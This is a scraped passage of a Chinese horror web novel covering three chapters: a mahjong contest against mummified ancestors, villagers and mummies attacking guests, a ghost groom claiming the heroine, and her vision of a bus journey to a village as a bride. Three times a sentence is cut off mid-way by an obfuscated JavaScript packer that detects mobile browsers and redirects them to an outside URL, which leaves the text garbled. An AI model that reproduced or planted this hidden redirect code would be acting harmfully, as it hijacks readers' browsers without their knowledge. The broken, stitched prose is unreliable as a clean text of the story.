但实际上,她心里一点底都没有。毕竟,她不仅不会打麻将,连牌面都认不全。 她招陆骁当棋牌室“临时工”完全是临时起意,主要是为了满足新增游戏的人数要求。至于他能不能赢过这三个老东西…… 她只能赌一把,相信自己的直觉了。 毕竟,一个休息时间还在刻手工麻将,甚至能教会她的蜡像员工打牌的人,大概不会太差吧? 至于陆骁自己,从刚才开始便沉默不语,似乎并不抗拒这个新角色,并全身心投入到了牌局。 “幺鸡。”穿着官服的干尸第一个出牌,丢出的是个边张。 “碰。”陆骁迅速接上,齐齐摆出三张幺鸡。 古代干尸眉头一皱,和其他两人交换了一个眼神,悄悄比了个“9”的手势。 他们很快达成了合作默契,只要三人协力让其中一个胡牌,赢下对局岂不是分分钟的事? 接下来,民国干尸小心翼翼丢出一张:“九万。” “杠。”古代干尸得意应下,摆出四张整齐的九万。 陆骁抬了抬眼皮,神色如常。三个先祖逐渐配合默契,几乎每张出牌都被古代干尸吃下或杠出,做牌速度飞快。 很快,古代干尸已听牌,只需一张“二筒”便可组成一副清一色的对对胡。 然而,另外两名干尸的脸上却浮现出迷茫,他们手中一张二筒都没有。 “清一色自摸,各位承让。”就在古代干尸准备换个听时,沉默许久的陆骁终于开口。他将手中牌一摊,果然是一副清一色的筒子,一目了然。 虞绛见陆骁拿下开门红,先祖们的脸黑得能滴出水,她立刻笑眯眯地提醒:“无论输赢,请保持微笑哦。” “再来!”古代尸几乎咬碎牙,面上却受规则所迫,露出一抹僵硬诡异的微笑。 他本来差点就赢了,只是运气不好,缺的那张二筒竟然一直在陆骁手里。其他两人也不甘心,也附和着要开始下一轮。 毕竟,棋牌室得营业到天亮。只要赢一局,他们就能摆脱这场荒谬的游戏。 “可这样一直打下去,你朋友也不可能一直赢吧?”沈百希忧心忡忡。 刘茵茵却高深莫测地摇了摇头,凑近低声道:“别人我不敢说,但陆骁的牌技,你尽管放心。” 见她如此笃定,沈百希才稍稍安下心来。然而当她转过头时,忽然发现原本围观麻将局的村民,不知何时已厌倦了观战,将目光重新转回他们这一边。 而且,他们之间的距离好像也更近了。 “小心点,他们靠不了新娘,可能会转而对我们动手。”周祺压低声音提醒。 “不是说……吃完桌上的饭之前,他们不会动我们吗?”沈百希下意识缩了缩脖子。 “狗急了也会跳墙,”周祺推了推眼镜,神色凝重,“恐怕之前的限制,也做不得数了。” 29. 荒村婚宴宾客须知(十一) 夜已深,院中四角挂着的灯笼忽明忽暗。村民们默契地避开院中央那热火朝天的牌局,神色漠然地朝刘茵茵这桌缓缓聚拢。 周祺不动声色地解开了袖口,沈百希则一把将刘茵茵护在身后,握紧了藏在手心的小刀。 第一个村民按捺不住,扑上前来的时候,周祺握紧双拳,衬衫下的肌肉与青筋瞬间暴起。 然而,还没等他出拳,一只如闪电般迅捷的素手从村民身后伸出,精准地钳住他的手腕,轻巧一折。 “咔哒”一声骨裂,村民惨叫着倒地,可喉间溢出的痛呼却像是大笑。 虞绛甩了甩手,脸上的笑意森然:“动我朋友,是当我死了?” 原本蠢蠢欲动的村民脚步一顿,眼神中浮现一丝犹疑。但短暂的停滞后,他们仿佛心照不宣地达成了默契,干脆不再掩饰,直接暴起。 四五个身形矮小的村民从四面八方向虞绛扑来,挡住了她的视线。虞绛眉头微蹙,这是人海战术,还是声东击西? 藏在胸口的小鬼牌炽热发烫,她动作迅捷而精准,将冲上来的村民逐一拦下,甚至在转瞬之间折断了他们的手腕。 待她四周趴下了一圈哀嚎的村民,虞绛这才看清,剩下的人早已一窝蜂涌向宾客那桌。 只见那个看似文弱的衬衫眼镜男一马当先,双拳生生挡下三人的夹击,将沈百希和刘茵茵护在身后。 可从她的角度,却刚好看见两个村民踩着周祺的盲区,从侧翼偷偷逼近毫无察觉的两个女孩。 “小心!”虞绛眼尖地发现了异动,立即大声提醒。 沈百希听见提醒便立刻回头,可已经晚了。两张布满沟壑的男人脸骤然逼近,距离她和刘茵茵仅剩一拳之遥。 “妈呀!”两个女孩本能地发出一声惊叫,沈百希仓皇中挥出匕首,但被村民轻易避开。 下一秒,两双黢黑的手向她们的脖子伸去。 “希希!”周祺也察觉不对,拼尽全力撂倒一个村民。可刚要回身援助,却被另一名壮汉从背后锁住了脖子。 周祺心中一沉,一时之间他根本脱不开身,怎么办?! 此时,沈百希的脖子已被一只手狠狠掐住,另一只手重重按住她的肩膀上。衣领滑落下来,露出雪白的皮肤。 村民那张丑陋的脸贴近,笑嘻嘻地张大了嘴,眼看就要对准她的脖子咬下。 刘茵茵的处境也是如此,两个女孩惊恐地颤抖,却一个字也喊不出。 虞绛心急如焚,但距离太远,蜡像化的能力又失效,根本来不及救援。 她余光扫过享堂檐下,只见阿喜婆正露出志在必得的冷笑,而享堂内的鬼新郎也刚好抬眼,恰好与虞绛对视。 在案上的烛光映照下,鬼新郎那张惨白的死人脸,平添了几分鲜活。他一手撑案,另一只手似在慢悠悠地把玩那根犀角香,仿佛与眼前混乱无关。 当虞绛望向他时,鬼新郎突然朝空中撒了一把香灰,随即十倍浓烈的犀角香气扑鼻而来。 聚在享堂门前的干尸瞬间躁动起来,他们仿佛接收到某种无声的命令,齐刷刷地转头,冲向村民与宾客那边。 刘茵茵眼看村民的血盆大口逼近自己纤细的脖子,心中一阵绝望。她紧紧闭上眼,泪水夺眶而出,控制不住地尖叫起来: “啊啊啊——” 电光火石之间,那掐住她的力道忽然一松。预想中的剧痛并未降临,耳畔反倒响起一阵凄厉的惨叫与纷乱的脚步声,还夹杂着利器刺入皮肉和大口吞咽的可怕动静。 刘茵茵的心嘭嘭直跳,隔了好一会,才探着睁开一只眼。 只见原本扑向她的村民瞪大了眼睛,已然断气。而他身后,一只干尸死死掐住他的脖颈,正埋头疯狂撕咬血肉,鲜血染透了两者的全身。 周围也是同样的情形,原本安分的干尸们不知为何,逮住村民就凶猛地虐杀分食,不一会儿,那些充满恶意的村民们便□□尸解决了一大半。 “得救了……可是,怎么会这样?”沈百希还在拍着胸口平复惊魂,却猛然想起了什么,“难道说——” 周祺打断她的猜测,低声道:“看,村民衣服上有字。” 他翻开一具尸体的衣襟,赫然发现一条新规则: “7.婚宴食物有别,亡者食香,宾客吃熟肉,村民吃生肉,新郎新娘禁食。反之亦然。” “前一句倒是挺明显的。”刘茵茵皱眉,“不过,最后那个‘反之亦然’是什么意思?” 周祺沉吟片刻,开口道:“吃进肚子里的东西,也会反过来影响身份。” 他看向正在大快朵颐的干尸们,那些本应只食香火的亡者,如今却满嘴鲜血,撕咬着村民的活肉。 他避开干尸们的目光,视线落在他们的身躯上: “之前我一直回避看这些干尸,没注意它们吃人后的变化。但现在看来,它们干瘪的身体好像充实了不少,甚至……带上了点人类的血色。” “他们越来越像人了!”沈百希倒抽一口凉气,“那之前攻击我们的村民,会不会就是吃了人的干尸变的?” 但她的话还未说完,周祺突然抬手将两人护在身后,低声道:“他们盯上我们了。” 干尸们在分食完村民后,缓缓站起,神态和动作果然更像活人了。他们一边擦嘴一边整理衣衫,目光却依旧饥渴地盯向三名玩家。 即使三人刻意避开对视,也能感受到干尸们意犹未尽地朝自己打量,仿佛还在犹豫,要不要趁热打铁,再来一顿“大餐”。 周祺神态警惕,带着两人缓缓绕行,朝享堂方向撤退。他回头望了一眼屋内,只见鬼新郎也意味深长地看向了自己。 桌上洒落着一大片香灰,三柱犀角香已经快要燃尽。 周祺心中一动,如果干尸吃生肉能逐渐转化成村民,那…… 如果宾客食香,是否也会转化成副本中战力更强的存在? *** 另一边,当干尸们在关键时刻暴起攻击村民,让刘茵茵逃过一劫时,虞绛也松了口气。 可她这边的局势也并不乐观,院子中央的麻将局还在继续,只是三个先祖已经打得红了眼。 “龙七对自摸,承让。”陆骁赢下了第三把麻将局。 按照游戏约定,输掉的先祖应该同意虞绛通过新娘考核,让副本顺利进入第三天洞房夜。 眼下陆骁已连胜三局,即便三个先祖各自作赌,也已凑齐虞绛需要的全部认可票数。 “再来!”然而,身着官服的古代先祖却彻底上头,执意要打到赢牌为止! 陆骁回头望向虞绛,眼中征询之意明显。虞绛倒是觉得有些棘手,按理说她的目标已经达成,然而…… 她从怀中掏出怀表,表盘指针停在四点半,距离天亮还有将近两个小时。 如果现在结束麻将局,她担心那三位上头的先祖失控暴走,而她又被婚书规则限制无法反抗,那不就只能任人宰割? “继续下去的话……”虞绛凑到陆骁耳边,低声问道:“你能一直赢吗?” “呵!麻将桌上,我不认识输这个字。”一听见对他牌技的质疑,陆骁的反应像被踩了尾巴的猫,声音都高了八度。 “那好。”虞绛面朝先祖们,叉着腰气势汹汹地说,“下一局我们换个赌注。如果陆骁赢了,你们要允许我正当防卫,不得视为违反新娘规则。若是你们赢了,照旧可以对我提出一个要求。” “一言为定!”坐在中间的古代先祖一口答应。三人也被激起了战意,将萝卜块搓得虎虎生风,势要扳回一局。 陆骁作为上一把的赢家自然继续坐庄,庄家可以在首轮多摸一张牌,并第一个出牌。 他一下子精神焕发,卷起袖子气势全开。也许是虞绛的质疑激起了他的斗志,这一局他明显认真了许多,几乎在其他三人刚摸完十三张牌时,他便伸手摸上了第十四张牌。 对面的三个先祖屏息以待,却见他看了一眼牌面,嘴角不自觉地扬起。 接着,他毫不犹豫地将整副牌推倒,语气带着满满的得意: “不好意思,天胡开局,又是我赢了。” 三个先祖不敢置信地探头细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547550|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,只见他清一色的天胡牌型整整齐齐地摊开,这在麻将中可只有三十万分之一的概率! “不可能!”穿着现代衬衫的先祖一拍桌子掀翻麻将,“你小子一定是出老千了!” 古代先祖更是气到手中萝卜麻将都被捏得汁水横飞,脸上勉强挂着笑,眼神却已隐隐暴戾。 偏偏陆骁还没看出危险气氛,继续嘲讽:“哟哟哟,这就急了?技不如人还血口喷人,输不起啊!” 虞绛也惊叹于陆骁的牌运,但很快察觉到不对劲。三个先祖异常暴怒,隐隐有失控的趋势,这麻将再下去恐怕真会引发暴动。 她当即出声打断:“好了,我们不打了。请兑现你们的赌注,让我通过新娘考核。” 可正身着官服的古代先祖并未接话,他死死盯着虞绛,嘴角扬起一抹诡异的笑意。 “好啊,你通过了我们的考核。”他说,“不过,既然不打了,那你们两个就带着我们的认可……一起去死吧。” 话音刚落,三个先祖骤然暴起,第一目标就是出言嘲讽的陆骁。他们出手狠辣,分明夹杂着私人仇怨。 陆骁被吓得连连后退,之前麻将桌上的意气风发早已烟消云散,又恢复了一副手忙脚乱的弱鸡模样。 虞绛拎起他衣领,往后一甩,把人直接扔到刘茵茵方向。而她自己则撸起碍事的衣袖,准备迎战。 三道攻势如风暴般袭来,尖利的指甲与白骨利爪和之前一样,直逼她的眼睛、耳朵和腿。 虞绛庆幸之前设了赌注,赢得了反击的权利。她活动着手腕,早就憋着火要还回去。 下一秒,三只白骨森森的手掌如闪电般劈来。虞绛猛地低头躲开两侧袭向眼耳的爪击,顺势一掌按住攻向下肢的古代先祖,猛地将他砸向地面! 先祖们应下第四把赌约的时候,从未想过一个人类女子能有这等力量。可他们当时赌性上头,却忘了能打开副本空间的存在,又怎会是普通人? 空气中传来一声清脆的骨裂,虞绛毫不留情地卸了古代先祖的手臂,一脚狠狠踩在他背上,将高大的干尸嵌进泥地,像是踩碎了一片枯叶。 剩下两位先祖一时间呆住,愣在原地,攻势顿止。 “喂!”虞绛朝檐下喊道,“他们都已经认可我了,可以提前进入下一个环节吧?” 阿喜婆面色阴沉地走近,两侧的先祖因为麻将规则所限,只好不情不愿地点头:“我们同意她和锦舟的婚事。” 虞绛得意一挑眉,正想庆祝,却见阿喜婆指了指她脚下那位昏迷的干尸:“还有这个呢?” 虞绛这才急忙把脚下的古代先祖翻了个身,却见这具干尸满身泥泞、双眼紧闭,仿佛失去了意识。 “喂,说话啊。”她不信邪地揪起对方的衣领,狠狠拍打脸颊。都死人诈尸了,还能被卸条手就晕过去? “三位先祖,你只得到了两位的认可,考核不通过。”阿喜婆不紧不慢地道。 “他明明装的!你也全程看到了我们的赌局,前三局的赌注都是让我通过考核。再说了,就算他不说话,我也得到了超过半数的认可,怎么就不通过了?”虞绛不甘心地反驳。 “这位是刘氏第十代先祖,在三人中资历最长,一人可抵两票。所以,你只刚好得到了一半的认可。”阿喜婆显然在刻意刁难,老神在在地回道,“除非,还有南山村的村民愿意支持你,我可以酌情同意。” 可环顾四周,村民都已经被啃食殆尽,干尸虽然逐渐呈现出活人的体态,但仍然无法沟通。 除了面前这个死咬住她不放的阿喜婆,这里哪儿还有能争取的村民? “我同意。” 突然,一道清冽而熟悉的犀角香气自背后拂过。虞绛猝不及防被人揽入怀中,冰凉的气息瞬间缠绕住她的肩颈。 她诧异地转头,正撞进那双狭长的双眼。男人下颌线分明,唇角噙着浅笑,几分温情淡化了苍白肤色带来的阴冷气息。 鬼新郎就这样维持着揽她入怀的姿势,低头在她耳畔轻声呢喃: “我想让阿绛,成为我的新娘。” 30. 荒村婚宴宾客须知(十二) 鬼新郎的手紧紧扣住虞绛的肩膀,吐字时的热气轻轻喷在她脸颊上,有些发痒。虞绛不禁腹诽,这副本里的男鬼怎么跟活人一样,居然还有气息? 虽然不清楚他为何这么做,但眼下这一切正好对她有利。于是,虞绛压下想给这男人来个过肩摔的冲动,勉强维持着倚在他怀里的姿势,朝阿喜婆微微抬了下巴。 “这下可以了吗?” 阿喜婆见鬼新郎突然上前,本就愣了一下。再听他那似情话般的呢喃时,她的脸色骤然阴沉,浑身散发出前所未有的低气压,如刀的眼神仿佛要将新郎千刀万剐。 沉默了片刻,阿喜婆才不情不愿地吐出两个字:“可以。” 她深吸一口气,继续道:“恭喜两位新人获得先祖的祝福,待天亮之后,请回到享堂香案后的棺材里休息,静等今天的洞房夜。” 最后,阿喜婆顿了顿,目光落在虞绛身上,意味深长地补充道:“希望你扮演好新娘的角色。” 虞绛没有细究阿喜婆话中的深意,只想着自己终于通过了婚宴的考核,长长地舒了一口气。随即,她迅速挣脱了鬼新郎的怀抱,和他拉开了一米的距离。 阿喜婆不再看这对新人,转而寻找玩家的身影:“不过,至于宾客嘛,还是得在天亮之前吃完婚宴上的饭菜……嗯?” 然而,当她转过身时,尾音却生生顿住,转了个弯。 只见,三位宾客加个陆骁,正鬼鬼祟祟地围在香案前摆弄着什么。 “这香灰味道怪怪的,吃进去不会中毒吧?”沈百希挑剔地沾了一点桌上的灰,凑近鼻子嗅了嗅。 “还有其他办法吗?”沈茵茵哭丧着脸,“我可不想变成干尸啊。” 周祺掐灭了案上即将燃尽的那小截犀角香,手指碾磨了层香灰,毫不犹豫地伸进嘴里,舔了个干净。 接着他闭上眼睛,似乎在感受身体的变化。随着那股异香入喉,他觉得自己的身体变得轻盈了些,原本刺鼻的香灰也意外地变得美味了。 “放心,就算我们现在变成了干尸,但副本通关后还是能恢复正常的。”周祺回头,语气平静地安慰道。 “那要是通不过呢?”陆骁已经打了四圈麻将,理智终于回笼了大半。此刻他紧挨着刘茵茵,警惕地问道。 “这个嘛……听说通关失败的玩家会留在副本里,可能会成为副本永久的干尸NPC哦。”周祺的语气毫无波动,平淡得仿佛在讨论天气一样。 “你能不能不要用这么平静的语气说这么可怕的事?!别吓着他们了!”刘茵茵忍不住炸毛,随即转头安慰刘茵茵,“没事的,这一局我们应该稳了,你看那边。” 说着,她意味深长地指向院中央。只见虞绛正在和阿喜婆对峙,而那位俊美的新郎却像个被抛弃的怨夫,深情又委屈地扯着虞绛的袖子。 看到虞绛好好的,刘茵茵的心终于放下了一些。是啊,有虞老板在,肯定没问题的! “好吧,变干尸就变干尸吧,至少不需要吃那些看起来就恶心的烂肉,也不至于成为其他怪物的口粮。”刘茵茵心安理得地安慰了自己一番,随即抄起香案上的另一截犀角香,刚掐灭了火星便一掌塞进了陆骁的嘴里。 陆骁:???合着是让我试毒啊?! 几人磨磨蹭蹭地都吃了一点香灰,再次走出享堂时,果然敏锐地察觉到,那些嗜血干尸的敌意少了几分。 几个原本虎视眈眈的大个子在看到四人重新回到院子里时,先是警惕地打量了一眼,随即像是发现了同类,便兴趣缺缺地移开了目光。 然而,还没等几人庆幸,阿喜婆突然出现在他们面前。 “看来,几位宾客很想成为亡者啊。”她面无表情,冷冷地问道。 虽然脸还是那张脸,但几人明显能感受到,阿喜婆从虞绛那边回来时,身上带着一阵强烈的低气压,甚至压抑着一股随时会爆发的无名火。 没人急于回答,阿喜婆便自顾自地继续说道:“既然如此,亡者抬棺,宾客跟随。洞房合柩,入土礼成。” “等夜晚再次降临,你们就回到祠堂门口来抬棺吧。”她说完,也不看玩家们的反应,便转身径直走向祠堂的出口。 当她的身影消失在院外的走廊尽头时,灰蒙蒙的天色乍然泄出第一缕晨曦。 天亮了,漫长的夜晚终于过去了。 刚才装死的先祖不知何时恢复了意识,趁着虞绛不注意,悄悄和另外两个先祖一同消失在了院中。 那些饱餐的干尸们茫然地看了看四周,随后也拖着沉重的步伐,向门外走去。 这个副本终于只剩下最后一关:洞房夜。当虞绛想到“洞房”二字,她的目光便下意识地扫向身旁的鬼新郎。从刚才开始,这个奇怪的男鬼便毫不掩饰地盯着她,眼里溢出的温柔仿佛真是在凝视自己的爱人。 “你看我干嘛!”虞绛又凶又横地眼刀一扫,实在是受不了对方这副样子。 “娘子好看。”鬼新郎的声音缱绻而撩人,甚至伸手轻轻勾住了虞绛的衣袖,“娘子,我们该一起入棺休息了。” 他刻意拖长了“一起”两个字,虞绛瞬间起了一片鸡皮疙瘩,这还是她作为蜡像人没有过的体验。 她下意识想收回衣袖,可嫁衣款式繁复,鬼新郎的袖口恰好钩住了她衣袖上的银片装饰。虞绛毛毛躁躁地用手拉扯,结果两人的衣袖反倒勾扯得更深,更是难以解开。 “别着急,慢慢解。”鬼新郎轻柔的声音再度响起,他修长的手指拍了拍虞绛的手心,细致地拆开那些纠缠的布料。 两人的距离又拉得更近了。 “虞老板,你没……”这时,刘茵茵跑了过来,看到的就是这温馨(?)的一幕。 她意识到自己来得不太合时宜,但既然都来了,也只能硬着头皮打招呼:“你没事吧?” 没等虞绛回答,刘茵茵急忙接话:“没事就好哈哈哈,我们就不打扰你了,今晚洞房见!”说完,她拉着陆骁快步离开。 虞绛有些莫名其妙,不过还是大声提醒道:“茵茵!记得续好蜡烛,灯笼不能灭了!” “知道啦!”刘茵茵挥了挥手。 紧随其后的周祺和沈百希面面相觑,表情复杂地经过这对“新人”,眼神不自觉地在鬼新郎身上停留了几秒,凑在一起低声嘀咕了几句,随即也加快了脚步匆匆离去。 虞绛更加莫名其妙了,真奇怪。古怪的玩家,古怪的副本,还有面前这个古怪的鬼新郎! “行了!”虞绛忍无可忍,干脆制止了男人慢条斯理的动作。她直接粗暴一扯,自己的大红衣袖被撕下了一角,半挂在新郎的衣袖上,摇摇晃晃的。 “也好,那我们直接就寝吧,娘子。”鬼新郎也丝毫不见尴尬,冷静地把虞绛撕下的布料塞进自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547551|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣袖里,眼含笑意地继续邀请她。 “闭嘴,再乱叫我把你舌头割下来!”不知为何,听到他那缱绻的嗓音,虞绛心头更是烦躁。她愤愤地瞪了他一眼,独自大步走回了享堂。 果然,像阿喜婆所说,香案后方是一口漆黑的棺材,盖子已经被推开。 好消息是,棺材看起来很结实,里面还铺着一层薄毯,睡起来应该还算舒服。 坏消息是,这棺材比常规的大了整整一倍,是个能容纳两人的双人棺。 虞绛皱起眉,纠结不已。还没等她做好心理准备,鬼新郎已经如影随形地飘了过来,衣袖一挥便毫不费力地迈了进去,侧身靠左躺下。 他甚至贴心地压了压右侧的衣袖,眼神充满期待,仿佛在无声地邀请她。 “你究竟有什么目的?”虞绛拧眉发问。 副本里的NPC虽然也会向玩家提供线索,就像孤儿院副本里的女佣小青,但虞绛直觉认为鬼新郎这样的关键NPC一般不会这么“好心”。 可这个男人从刚才开始,不仅帮她化解了阿喜婆的刁难,现在还摆出了一副深情款款的模样,很难不让人怀疑别有用心。 “这话真让我伤心,我能有什么目的?”鬼新郎平躺在棺材里,仰头望向她,眼神清澈动人。 “阿绛,你是我的妻子,我自然会一辈子护着你。” 他眼神深情,仿佛能拉丝。虞绛忍不住一怔,意识又一次模糊了起来,就跟之前追逐新娘时一样。 她的思绪乱成一团,无数碎片化的场景涌入脑中,最终定格在一个模糊的人影上。那人影似乎跟眼前的鬼新郎重合了起来,看不清面目的男人温柔地对她说: “阿鹂,你是我的妻子,我会永永远远守护你、爱着你,我们永不分离。” 阿鹂?这又是谁? 这声音虽然与鬼新郎的不同,但语气却同样温柔又深情。可奇怪的是,虞绛只觉得心底升起一股难以抑制的怒意,仿佛她与说话的人之间有着天大的仇怨。 外面已经天光大亮,但虞绛却感到一阵阴冷的寒意袭来。她下意识地紧握住怀表,可棋牌室副本的营业时间已过,怀表又恢复了故障的状态。 冷不丁的,她猛然想起阿喜婆临走前那句意味深长的叮嘱,让自己扮演好新娘的角色…… 可还来不及深究其话中深意,一阵眩晕感猛然袭来,随即虞绛跌落在意识的漩涡里。 “阿鹂,发车的时间快到了,我们该出发了。” 当她恢复意识,费力地睁开眼睛时,却发现自己身处在一个破旧的单间里。 空气中弥漫着一股异味,房间的床上铺着发黄的被单,身侧是一张简陋的书桌,桌上的座机印着“幸福宾馆”的logo。 说话的是一名背对自己的男子,他正在弯腰整理着行李箱。见虞绛没有回应,男人转过身,露出一张陌生却俊秀的面容。 “你是谁?我……又是谁?”虞绛茫然地问。 “怎么说些胡话?”男人轻笑着走上前,左手攥着两张车票,右手轻轻抚摸着虞绛的额头,“阿鹂,我是你的未婚夫,你最爱的男人啊。” “我是……阿鹂?”虞绛的眼神逐渐迷茫,喃喃地重复着,“你是阿鹂最爱的男人。” 说完,虞绛似乎想起了什么,随即露出一抹乖巧服帖的笑容。 “你是……锦舟。” 31. 荒村婚宴宾客须知(十三) “走吧,再晚就赶不上车了。”刘锦舟宠溺地揉了揉虞绛的脑袋,随即拎起行李箱,推开房门走了出去。 虞绛跟在他身后,走廊里的灯光不断闪烁,地面上散落着一些小卡片,角落里还有未清理的烟头和酒瓶。 一路上,她默不作声地跟着刘锦舟还了房卡,走出了宾馆的大门。街道狭窄破旧,来往行人熙熙攘攘,马路上车水马龙,一股热闹的市井烟火气扑面而来。 虞绛顿感恍如隔世,这小镇街景让她感到陌生又熟悉。冥冥中她觉得自己不该出现在这样的场景中,但街边电线杆上的小广告、来往的自行车和街边吆喝着卖烤红薯的大爷,却又让她觉得这一切本该如此。 她为自己的感受感到诧异,难道她不也是在这样普通的小镇里长大的吗?为什么现在竟有种近乡情怯的感觉? 自己又不是被常年关在什么与世隔绝的地方…… “车站到了。”刘锦舟突然开口,打断了虞胡乱的思绪。 她这才发现,已经不知不觉跟着他来到了一个汽车站。门口竖着长途客运站的牌子,场站里已经停好了几辆大客车。 虞绛的目光迅速落在一辆土黄色的大巴车上,上面写着“梨香镇——南山村”的字样,与刘锦舟手中的车票一致。 她正想提醒他,刘锦舟的手机突然响了。 “等等,我接个电话。”他笑了笑,拿出一部老式手机,“喂?二叔,怎么了?” 虞绛对周围的一切充满好奇,她拉着行李箱朝那辆土黄色客车的站台走去。站台上已经有不少人候车,大多数是在城里做工的男人。 “妹崽,你是回南山村省亲的呀?”人群中唯一的中年女人热情地凑了过来。 虞绛愣了一下,然而“南山村”这三个字似乎触动了某种机制,她没有思考便流畅地答道:“我是陪我未婚夫回老家的,我们要结婚了。” “哟,原来是村里的新媳妇儿啊,长得真俊呢!”中年女人惊叫着,露出夸张的笑容,这一声呼喊也吸引了周围男人的目光。 “乖妹崽,你平时做什么的?这次回去待多久?”中年女人似乎对虞绛产生了浓厚的兴趣,连珠炮似的追问。 “我在A省歌舞团工作,这次是特意请假去见男方家长,打算把婚事定下来。估计只能待两天左右吧。”虞绛害羞地一笑,乖乖地介绍起自己。 “哎哟,省歌舞团的啊,怪不得气质不一样呢!不过待两天太短了,南山村是个好地方,结了婚你们就留村里多好!”中年女人亲切地拉起虞绛的手,掌心的厚茧在她细嫩的手背上摩挲。 “你就叫我六婶吧,到村里我做饭给你吃。” 虞绛对六婶的热情有些招架不住,但随即便劝服自己,村里人本就热情淳朴,不能拂了人家的好意。 此时,刘锦舟接完电话回来了,表情有些纠结。 “阿鹂,我这边出了点事。” “怎么了?”虞绛不解。 “我二叔让我买点我妈平常吃的中药带回去。我看这几味药不好买,可能得多跑几家店,怕是赶不上车了。”刘锦舟皱着眉,看着手中的车票。 “那……那我陪你去买药,我们改下一班车?”虞绛下意识地提议,不愿离开他。 “可是我妈为了迎接你,特意做了一桌好菜。下一班车得到晚上,恐怕赶不上晚饭了。” 刘锦舟咬着牙做出了决定,握住虞绛的手轻声劝道:“阿鹂,你先坐这趟车回去,我三叔会来接你,等我买好药就坐晚上的车回来。你先陪我妈吃饭,免得她失望,好吗?” 虞绛犹豫了一下,毕竟人生地不熟,她也不想独自回村里。 但还没等她做决定,六婶已经热情地招呼了起来:“没问题,都是一个村的邻居!这么好看的妹崽,我会帮忙好好照看的,放心吧!” “那就谢谢您了,麻烦您路上多照顾她。”刘锦舟松了口气,面露微笑。 在他期待的目光下,虞绛只好妥协:“那你快去,我在你家等你。” 刘锦舟安抚地摸了摸虞绛的头,随即急匆匆地提着行李离开了。虞绛望着他渐行渐远的背影,心中不知为闪过一丝不安。 过了会,发车的时间到了。虞绛心情忐忑地跟着六婶上了车,她发现六婶的左腿似乎有些跛,上台阶时差点摔倒。 驾驶座上则坐着一名身形瘦弱的司机,口罩将他的脸包得严严实实。车内设施显得有些老旧,扶手和座椅上也是灰扑扑的。 虞绛穿过狭窄的走道,察觉到周围乘客不经意地将目光投向她,从头到脚地打量了一番,这让她有些不适。她尽力忽视这些不自在的目光,和六婶一起在车尾靠窗的位置坐下。 车子很快发动,离开车站朝着远郊的小路开去。这辆客车应是年久失修,明明道路很平坦,但车身依然摇晃不止,像一堆快要散架的废铁。 一路上,六婶有意无意地打听着虞绛的背景。起初,虞绛有问必答,想通过聊天打发车上无聊的时光。但渐渐地,她觉得六婶的热情有些过于异常。 “真好的妹崽啊!长得又俊,又会唱歌,身体也好,一看就好生养嘞。”六婶欣慰地拍了拍虞绛的手,赞赏之情溢于言表。 可“好生养”这三个字刺痛了虞绛的耳朵。她和刘锦舟相识于歌舞团,他擅长拉小提琴、她唱歌好听,两人志趣相投,很快便坠入爱河。现代社会提倡自由恋爱、相互尊重,怎料在别人嘴里自己竟然是个好用的生育工具? 她不想再谈论自己的事,便将话题转向六婶:“六婶,你是来办事的吗?怎么一个人从镇上回村里?” 客车驶上盘山路,山路弯急坎多,本就摇晃的客车抖动得更加厉害了。虞绛刚问完,客车就一个急转弯,幸好她眼疾手快地扶住了前方椅背,不然指定得甩出去。 六婶也没坐稳,径直撞向了虞绛,束在脑后的发髻一歪,露出了原本被头发遮掩住的耳朵。 虞绛不经意一瞥,顿时吓了一跳! 六婶的左耳竟然被利器齐齐割断,只留下一个平整的切口,整只耳朵却已消失不见了。 她汗毛直立,然而六婶却毫无察觉,动作自然地整理好发髻,像没事人一样回答道: “哦,我是来镇上找人的。家里有个亲戚,脑子有问题,平时我们照顾得挺好的,可她突然自己溜掉了。我们担心她一个人在外流浪,所以才上镇里看看能不能找到她。” 六婶断裂的左耳在虞绛心中挥之不去,她下意识地往反方向挪了挪:“然后呢?找到了吗?” 六婶定定地看了她一眼,意味深长地说道:“本来没找到,后来我家男人来信说,那疯子亲戚自己回村了。既然她回来了,我也就不用再找了。” 虽然这番话听起来没问题,但虞绛却品出了一丝奇怪的意味。正当她想深入追问时,车顶突然传来一声“咚”的巨响,整辆车猛地颤了一下。 难道是山上的落石? 虞绛抬头一看,车顶的铁皮被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547552|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸出一个深深的凹坑,但那凹坑的形状并不规则,而是向四周延伸出了八条裂痕,看上去像一只巨大的蜘蛛。 这蜘蛛的形状让虞绛感到一丝熟悉,她愣愣地盯着车顶…… 